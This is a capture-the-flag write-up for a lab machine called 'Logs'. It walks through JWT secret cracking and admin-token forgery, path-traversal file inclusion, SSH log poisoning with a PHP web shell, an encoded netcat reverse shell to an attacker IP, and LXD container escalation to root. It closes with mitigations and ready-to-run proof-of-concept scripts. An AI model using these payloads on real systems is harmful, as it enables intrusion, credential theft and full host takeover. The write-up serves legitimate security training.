Logs - HC Writeup

2026-01-10·10 min read·
ctfwebjwtlfilog-poisoningprivilege-escalation

title: 'Writeup Logs - HC' publishedAt: '2026-01-10' summary: 'Web, JWT, LFI, Log Poisoning, Privilege Escalation'


Target Information

  • IP Address: 172.16.3.46
  • Difficulty: Medium
  • Tags: Web, JWT, LFI, Log Poisoning, LXD, Privilege Escalation

Reconnaissance

Port Scanning

Initial enumeration revealed two open ports:

Results:

$code
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH
80/tcp open  http    Apache/2.4.58 (Ubuntu)

Web Application:

  • Main domain: logs.hc
  • Login endpoint: logs.hc/login

Web Enumeration

Subdomain Discovery

During enumeration, I discovered a staging subdomain:

Subdomain found: staging.logs.hc

This subdomain exposed additional functionality including a registration endpoint.


User Registration & Authentication

I created an account on the staging environment:

Endpoint: staging.logs.hc/register

After registration, I authenticated via the login endpoint and received a JWT token.


JWT Token Analysis

Initial JWT Token:

$code
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJ1c2VyIiwibmFtZSI6ImFzZGYiLCJlbWFpbCI6ImFzZGZAYXNkZi5jb20ifQ.ng5TNSatLZb5Eakb8xn2ltchjPYbCk4FMfcWplLXASU

Decoded payload:

$json
{
  "iss": "http://logs.hc/login",
  "iat": 1768079929,
  "exp": 1768083529,
  "nbf": 1768079929,
  "jti": "TbI9W3O7q6XDBWNv",
  "sub": "3",
  "prv": "23bd5c8949f600adb39e701c400872db7a5976f7",
  "role": "user",
  "name": "asdf",
  "email": "asdf@asdf.com"
}

Critical observation: The token includes a role field set to user.


Exploitation: JWT Signature Cracking

Weak Secret Discovery

I used jwt_tool to perform a dictionary attack against the JWT signature:

$bash
jwt_tool -C -d ~/tools/rockyou.txt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJ1c2VyIiwibmFtZSI6ImFzZGYiLCJlbWFpbCI6ImFzZGZAYXNkZi5jb20ifQ.ng5TNSatLZb5Eakb8xn2ltchjPYbCk4FMfcWplLXASU

Result:

$bash
[+] CORRECT key found:
92839853879156166491915372959629

Weak secret discovered! The JWT is signed with a predictable numeric key.


Privilege Escalation via JWT Manipulation

With the signing key, I forged a new JWT token with elevated privileges:

Modified payload:

$json
{
  "iss": "http://logs.hc/login",
  "iat": 1768079929,
  "exp": 1768083529,
  "nbf": 1768079929,
  "jti": "TbI9W3O7q6XDBWNv",
  "sub": "3",
  "prv": "23bd5c8949f600adb39e701c400872db7a5976f7",
  "role": "admin",
  "name": "asdf",
  "email": "asdf@asdf.com"
}

Forged admin token:

$code
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJhc2RmIiwiZW1haWwiOiJhc2RmQGFzZGYuY29tIn0.-Qn7fofpyPZPooVWu-dxiFT0_zHetVKY33AfTII4JmM

Admin access obtained!


Discovery: Local File Inclusion (LFI)

Initial LFI Attempt (Unauthorized)

Before obtaining the admin token, I discovered an LFI endpoint:

Endpoint: /api/view?file=

Initial test:

$http
GET /api/view?file=../../../../../etc/passwd HTTP/1.1
Host: logs.hc
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36

Response:

$http
HTTP/1.1 401 Unauthorized
X-Powered-By: PHP/8.3.6
Content-Type: application/json
 
{"error":"Unauthorized - Bearer token required"}

LFI requires authentication!


Successful LFI with Admin Token

Using the forged admin JWT token, I successfully exploited the LFI vulnerability:

Request:

$http
GET /api/view?file=../../../../../etc/passwd HTTP/1.1
Host: logs.hc
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJhc2RmIiwiZW1haWwiOiJhc2RmQGFzZGYuY29tIn0.-Qn7fofpyPZPooVWu-dxiFT0_zHetVKY33AfTII4JmM

Response:

$http
HTTP/1.1 200 OK
X-Powered-By: PHP/8.3.6
Content-Type: text/html; charset=UTF-8
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[...]
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:999:105::/var/snap/lxd/common/lxd:/bin/false
developer:x:1001:1001::/home/developer:/bin/bash

LFI confirmed! Discovered user: developer


Log File Access

I used the LFI to read authentication logs:

Request:

$http
GET /api/view?file=../../../../../var/log/auth.log HTTP/1.1
Host: logs.hc
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJhc2RmIiwiZW1haWwiOiJhc2RmQGFzZGYuY29tIn0.-Qn7fofpyPZPooVWu-dxiFT0_zHetVKY33AfTII4JmM

Response:

$code
2026-01-08T13:45:58.632549+00:00 ip-172-16-5-188 sshd[1191]: Server listening on 0.0.0.0 port 22.
2026-01-08T13:45:58.633519+00:00 ip-172-16-5-188 sshd[1191]: Server listening on :: port 22.
[...]
2026-01-10T21:35:01.010237+00:00 ip-172-16-3-46 CRON[1334]: pam_unix(cron:session): session opened for user root(uid=0) by root(uid=0)

Authentication logs readable! This enables log poisoning attacks.


Exploitation: SSH Log Poisoning

Understanding Log Poisoning

SSH authentication logs (/var/log/auth.log) record connection attempts, including invalid usernames. By injecting PHP code into the username field, I can poison the log file and achieve RCE when the log is included via LFI.


Log Injection

I poisoned the SSH logs by attempting authentication with a PHP payload as the username:

Poisoning command:

$bash
curl -u 'SSH-2.0-<?php if(isset($_GET["c"])){ob_clean();passthru($_GET["c"]);exit;} ?>' sftp://logs.hc/anything -k

Explanation:

  • The -u flag sends the PHP payload as the username
  • SSH logs will record: Invalid user SSH-2.0-<?php ... ?>
  • The log file now contains executable PHP code

Remote Code Execution

After poisoning the logs, I triggered RCE by including the auth.log with a command parameter:

Test command:

$http
GET /api/view?file=../../../../../var/log/auth.log&c=ls HTTP/1.1
Host: logs.hc
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJhc2RmIiwiZW1haWwiOiJhc2RmQGFzZGYuY29tIn0.-Qn7fofpyPZPooVWu-dxiFT0_zHetVKY33AfTII4JmM

Response:

$code
2026-01-08T13:45:58.632549+00:00 ip-172-16-5-188 sshd[1191]: Server listening on 0.0.0.0 port 22.
[...]
2026-01-10T21:39:47.397515+00:00 ip-172-16-3-46 sshd[1410]: Invalid user SSH-2.0-favicon.ico
index.php
robots.txt

RCE confirmed! The ls command executed successfully.


Reverse Shell

I obtained a reverse shell using a base64-encoded payload:

Original command:

$bash
rm /tmp/_; mkfifo /tmp/_; cat /tmp/_|sh 2>&1|nc 10.0.35.83 4444 >/tmp/_

Base64 encoded:

$code
KHJtIC90bXAvXztta2ZpZm8gL3RtcC9fO2NhdCAvdG1wL198c2ggMj4mMXxuYyAxMC4wLjM1LjgzIDQ0NDQgPi90bXAvXykgPi9kZXYvbnVsbCAyPiYxICY=

Reverse shell request:

$http
GET /api/view?file=../../../../../var/log/auth.log&c=printf+KHJtIC90bXAvXztta2ZpZm8gL3RtcC9fO2NhdCAvdG1wL198c2ggMj4mMXxuYyAxMC4wLjM1LjgzIDQ0NDQgPi90bXAvXykgPi9kZXYvbnVsbCAyPiYxICY=|base64+-d|sh HTTP/1.1
Host: logs.hc
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9ncy5oYy9sb2dpbiIsImlhdCI6MTc2ODA3OTkyOSwiZXhwIjoxNzY4MDgzNTI5LCJuYmYiOjE3NjgwNzk5MjksImp0aSI6IlRiSTlXM083cTZYREJXTnYiLCJzdWIiOiIzIiwicHJ2IjoiMjNiZDVjODk0OWY2MDBhZGIzOWU3MDFjNDAwODcyZGI3YTU5NzZmNyIsInJvbGUiOiJhZG1pbiIsIm5hbWUiOiJhc2RmIiwiZW1haWwiOiJhc2RmQGFzZGYuY29tIn0.-Qn7fofpyPZPooVWu-dxiFT0_zHetVKY33AfTII4JmM

Listener:

$bash
nc -lvnp 4444

Result:

$bash
[+] Got reverse shell from ip-172-16-3-46~172.16.3.46-Linux-x86_64

Reverse shell obtained as www-data!


Post-Exploitation: Database Discovery

SQLite Database Enumeration

I searched for SQLite databases on the system:

$bash
find / -name "*.sqlite" 2>/dev/null

Results:

$code
/var/www/prod/database/database.sqlite
/var/www/stag/database/database.sqlite
/var/www/shared/database.sqlite

Credential Extraction

I extracted user credentials from the database and found a hash for the developer user.

Hash cracking:

  • User: developer
  • Password: superman

Lateral Movement to Developer

Using the discovered credentials, I switched to the developer user:

$bash
www-data@ip-172-16-3-46:~/prod/public$ su developer
Password: superman
developer@ip-172-16-3-46:/var/www/prod/public$

Lateral movement successful!


Privilege Escalation: LXD/LXC Container Abuse

Enumeration with LinPEAS

Running LinPEAS revealed a privilege escalation vector:

Binary found:

$code
/usr/sbin/lxc

User groups:

$bash
uid=1001(developer) gid=1001(developer) groups=1001(developer),105(lxd)

Critical finding: The developer user is a member of the lxd group, which allows container manipulation.


LXD Privilege Escalation Technique

The LXD group membership allows creating privileged containers that mount the host filesystem.

Steps:

  1. Download Alpine Linux image:
$bash
curl 10.0.35.83/alpine-v3.13-x86_64-20210218_0139.tar.gz -o /tmp/alpine-v3.13-x86_64-20210218_0139.tar.gz
  1. Import the image:
$bash
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
  1. Verify image:
$bash
developer@ip-172-16-8-105:/tmp$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+---------+------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE   |         UPLOAD DATE          |
+---------+--------------+--------+-------------------------------+--------------+-----------+---------+------------------------------+
| myimage | cd73881adaac | no     | alpine v3.13 (20210218_01:39) | x86_64       | CONTAINER | 3.11MiB | Jan 10, 2026 at 8:10pm (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+---------+------------------------------+
  1. Create privileged container:
$bash
lxc init myimage ignite -c security.privileged=true
  1. Mount host filesystem:
$bash
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
  1. Start container and get root shell:
$bash
lxc start ignite
lxc exec ignite /bin/sh

Result:

$bash
~ # whoami
root

ROOT OBTAINED! Full access to the host filesystem via /mnt/root.


Attack Chain Summary

$code
1. Subdomain Discovery (staging.logs.hc)
   ↓
2. User Registration & JWT Token Acquisition
   ↓
3. JWT Signature Cracking (Weak Secret)
   ↓
4. JWT Forgery (role: user → admin)
   ↓
5. Local File Inclusion Discovery (/api/view)
   ↓
6. SSH Log Poisoning (PHP injection)
   ↓
7. Remote Code Execution via LFI
   ↓
8. Reverse Shell as www-data
   ↓
9. SQLite Database Discovery
   ↓
10. Credential Extraction (developer:superman)
   ↓
11. Lateral Movement (su developer)
   ↓
12. LXD Group Membership Discovery
   ↓
13. Privileged Container Creation
   ↓
14. Root Access via Host Filesystem Mount

Vulnerabilities Summary

  1. Weak JWT Secret CWE-326 Critical

    • Predictable signing key vulnerable to dictionary attacks
  2. JWT Role Manipulation CWE-639 Critical

    • Client-controlled role claim without server-side validation
  3. Local File Inclusion CWE-22 High

    • Path traversal allowing arbitrary file reads
  4. Log Injection CWE-117 High

    • Unsanitized input recorded in system logs
  5. Log Poisoning to RCE CWE-94 Critical

    • Code injection via log file inclusion
  6. Hardcoded Database Credentials CWE-798 Medium

    • Credentials stored in plaintext/weak hashes
  7. LXD Group Misconfiguration CWE-250 Critical

    • Unprivileged user in privileged group
  8. Container Escape via hostPath N/A Critical

    • Root filesystem accessible from container

Mitigation Recommendations

Application Level

  1. Strengthen JWT Secret:
    • Use cryptographically strong random secrets (minimum 256 bits)
    • Rotate secrets periodically
$php
// Generate strong secret
$secret = bin2hex(random_bytes(32)); // 256-bit secret
  1. Implement Server-Side Role Validation:
    • Never trust client-provided claims
    • Validate roles against database on each request
$php
// Secure role validation
$user = User::find($jwt->sub);
if ($user->role !== 'admin') {
    return response()->json(['error' => 'Forbidden'], 403);
}
  1. Fix Local File Inclusion:
    • Whitelist allowed files
    • Use basename() to prevent directory traversal
    • Implement proper access controls
$php
// Secure file access
$allowedFiles = ['report1.log', 'report2.log'];
$file = basename($_GET['file']);
 
if (!in_array($file, $allowedFiles)) {
    return response()->json(['error' => 'Invalid file'], 400);
}
  1. Prevent Log Injection:
    • Sanitize all user input before logging
    • Use structured logging (JSON)
    • Disable PHP execution in log directories
$php
// Sanitize log input
$username = preg_replace('/[^a-zA-Z0-9_-]/', '', $input);

System Level

  1. Remove Users from LXD Group:
    • Only administrators should have LXD access
    • Audit group memberships regularly
$bash
# Remove user from lxd group
gpasswd -d developer lxd
  1. Implement Container Security:
    • Disable unprivileged container creation
    • Restrict hostPath mounts
    • Use AppArmor/SELinux profiles
$yaml
# LXD security configuration
security.privileged: false
security.nesting: false
  1. Database Security:

    • Use strong password hashing (bcrypt, Argon2)
    • Implement password complexity requirements
    • Enable database encryption at rest
  2. File System Permissions:

    • Restrict log file permissions
    • Web server should not have write access to logs
    • Use log rotation with proper permissions
$bash
# Secure log permissions
chmod 640 /var/log/auth.log
chown root:adm /var/log/auth.log
  1. Web Application Firewall:
    • Implement rate limiting
    • Block path traversal patterns
    • Monitor for suspicious JWT usage

Tools Used

  • curl - HTTP requests and log poisoning
  • jwt_tool - JWT analysis and cracking
  • netcat - Reverse shell listener
  • LinPEAS - Linux privilege escalation enumeration
  • LXD - Linux container technology
  • Burp Suite - Web vulnerability analysis

Proof of Concept Scripts

JWT Forgery Script

$python
#!/usr/bin/env python3
import jwt
import json
 
# Cracked secret
secret = "92839853879156166491915372959629"
 
# Original payload
payload = {
    "iss": "http://logs.hc/login",
    "iat": 1768079929,
    "exp": 1768083529,
    "nbf": 1768079929,
    "jti": "TbI9W3O7q6XDBWNv",
    "sub": "3",
    "prv": "23bd5c8949f600adb39e701c400872db7a5976f7",
    "role": "admin",  # Changed from "user"
    "name": "asdf",
    "email": "asdf@asdf.com"
}
 
# Forge token
forged_token = jwt.encode(payload, secret, algorithm="HS256")
print(f"[+] Forged Admin Token:\n{forged_token}")

Log Poisoning Automation

$bash
#!/bin/bash
 
TARGET="logs.hc"
LHOST="10.0.35.83"
LPORT="4444"
 
echo "[+] Step 1: Poisoning SSH logs..."
curl -u 'SSH-2.0-<?php if(isset($_GET["c"])){ob_clean();passthru($_GET["c"]);exit;} ?>' sftp://$TARGET/anything -k
 
echo "[+] Step 2: Preparing reverse shell payload..."
PAYLOAD=$(echo "rm /tmp/_; mkfifo /tmp/_; cat /tmp/_|sh 2>&1|nc $LHOST $LPORT >/tmp/_" | base64)
 
echo "[+] Step 3: Starting listener..."
echo "[*] Run in another terminal: nc -lvnp $LPORT"
 
echo "[+] Step 4: Triggering reverse shell..."
echo "[*] Use this in Burp Suite or curl with admin JWT token:"
echo "GET /api/view?file=../../../../../var/log/auth.log&c=printf+$PAYLOAD|base64+-d|sh"

LXD Privilege Escalation

$bash
#!/bin/bash
 
echo "[+] LXD Privilege Escalation"
 
# Import image
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
 
# Create privileged container
lxc init myimage ignite -c security.privileged=true
 
# Mount host filesystem
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
 
# Start container
lxc start ignite
 
# Get root shell
echo "[+] Getting root shell..."
lxc exec ignite /bin/sh

References

JWT Security

Local File Inclusion

Log Poisoning

LXD/LXC Privilege Escalation

CWE References


Author: cbxcvl Date: January 10, 2026 Machine: Logs Release Date: January 10, 2026